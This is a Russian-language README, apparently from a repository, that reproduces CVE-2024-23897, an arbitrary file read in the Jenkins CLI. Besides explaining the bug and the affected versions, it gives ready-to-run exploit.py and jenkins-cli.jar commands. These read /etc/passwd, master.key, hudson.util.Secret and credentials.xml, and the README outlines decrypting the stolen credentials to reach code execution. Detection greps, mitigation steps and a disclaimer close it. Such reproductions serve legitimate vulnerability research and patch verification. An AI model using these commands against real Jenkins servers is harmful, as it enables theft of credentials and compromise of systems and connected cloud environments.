
Воспроизведение cve-2024-23897-jenkins_lfi_reproduction
CVSS 9.8 (КРИТИЧЕСКАЯ) — Активно эксплуатируется в дикой природе
CVE-2024-23897 — это критическая уязвимость произвольного чтения файлов в интерфейсе командной строки (CLI) Jenkins. Jenkins CLI использует библиотеку args4j для разбора аргументов команд. Эта библиотека разворачивает символ @, за которым следует путь к файлу (@/path/to/file), читая содержимое этого файла и подставляя его в качестве аргументов. Неаутентифицированный злоумышленник может воспользоваться этим поведением для чтения произвольных файлов в файловой системе контроллера Jenkins без какой-либо аутентификации.
В сочетании с извлечением credentials.xml, secrets или master.key эта уязвимость может привести к полной компрометации сервера (RCE).
@ в args4jБиблиотека args4j (используемая парсером команд CLI Jenkins) реализует удобную функцию: когда аргумент начинается с @, остальная часть аргумента рассматривается как путь к файлу, содержимое файла читается и разбивается на несколько аргументов. Это было задумано для передачи больших списков аргументов через файлы.
Пример: java -jar jenkins-cli.jar who-am-i @/etc/passwd заставит args4j прочитать /etc/passwd и использовать его содержимое в качестве аргументов для команды who-am-i.
Поскольку некоторые команды CLI (например, connect-node) выводят или включают значения аргументов в сообщения об ошибках/ответы, злоумышленник может увидеть содержимое файла в ответе CLI.
@/etc/passwd| Продукт | Затронутые | Исправленные |
|---|---|---|
| Jenkins (weekly) | ≤ 2.441 | 2.442 |
| Jenkins LTS | ≤ 2.426.2 | 2.426.3 |
| Jenkins LTS (предыдущий) | ≤ 2.414.2 | 2.414.3 |
Примечание: Все версии Jenkins до указанных выше исправлений уязвимы. Функция CLI существует в Jenkins уже много лет, поэтому более старые версии также затронуты, даже если они явно не перечислены.
Запустите уязвимый экземпляр Jenkins с помощью Docker:
docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk11
Запомните начальный пароль администратора из логов контейнера.
Убедитесь, что порт CLI открыт:
# Jenkins CLI port (TCP 50000) should be listening
# Or you can use the HTTP CLI endpoint at /cli/
Установите Python 3.8+ с необходимыми зависимостями:
pip install requests
# Basic file read test — read /etc/passwd
python exploit.py --target http://localhost:8080 --file /etc/passwd
# Read Jenkins secrets (escalation path)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml
# Download the Jenkins CLI jar
wget http://localhost:8080/jnlpJars/jenkins-cli.jar
# Read /etc/passwd via the CLI
java -jar jenkins-cli.jar -s http://localhost:8080 who-am-i @/etc/passwd 2>&1
# Read Jenkins secrets
java -jar jenkins-cli.jar -s http://localhost:8080 connect-node @/var/jenkins_home/secrets/master.key 2>&1
Содержимое файла появляется в ответе CLI или выводе ошибок. Например, чтение /etc/passwd вернёт записи файла паролей системы.
# Read config to understand the environment
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/config.xml
# Read users and permissions
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/users/users.xml
# Extract master key (used to encrypt credentials)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
# Extract the hudson.util.Secret key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/hudson.util.Secret
# Extract credentials (encrypted)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml
Имея master.key и hudson.util.Secret, вы можете расшифровать учётные данные Jenkins с помощью таких инструментов, как jenkins_decrypt.py или скрипта decrypt.py из источников по CVE-2024-23897. Расшифрованные учётные данные (SSH-ключи, API-токены, ключи облачных провайдеров) затем можно использовать для удалённого выполнения кода на подключённых узлах и в облачных средах.
Ищите в журналах доступа или журналах аудита CLI аргументы, содержащие @ с последующим путём к файлу:
# grep for suspicious CLI access
grep -r "@/" /var/log/jenkins/access.log
# Check for CLI connections from unexpected IPs
grep "CLI" /var/log/jenkins/jenkins.log | grep -v "127.0.0.1"
Если немедленное обновление невозможно, отключите порт CLI, задав параметр --webroot или заблокировав порт 50000. Однако учтите, что конечная точка HTTP CLI (/cli/) в веб-интерфейсе может оставаться эксплуатируемой, поэтому обновление настоятельно рекомендуется.
Этот репозиторий предназначен только для авторизованного тестирования безопасности и образовательных целей. Несанкционированная эксплуатация этой уязвимости незаконна. Авторы не несут ответственности за любое неправомерное использование этой информации. Проводите тестирование только на системах, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.
| Действие | Подробности |
|---|
| Обновите Jenkins | Обновитесь до Jenkins 2.442+ или LTS 2.426.3+ / 2.414.3+ |
| Отключите порт CLI | Заблокируйте TCP-порт 50000 на межсетевом экране, если он не нужен |
| Ограничьте сетевой доступ | Ограничьте доступ к порту CLI Jenkins только доверенными сетями |
| Включите аутентификацию | Убедитесь, что Jenkins требует аутентификацию для всего доступа |
| Отслеживайте логи | Ищите в журналах доступа команды CLI с аргументами @ |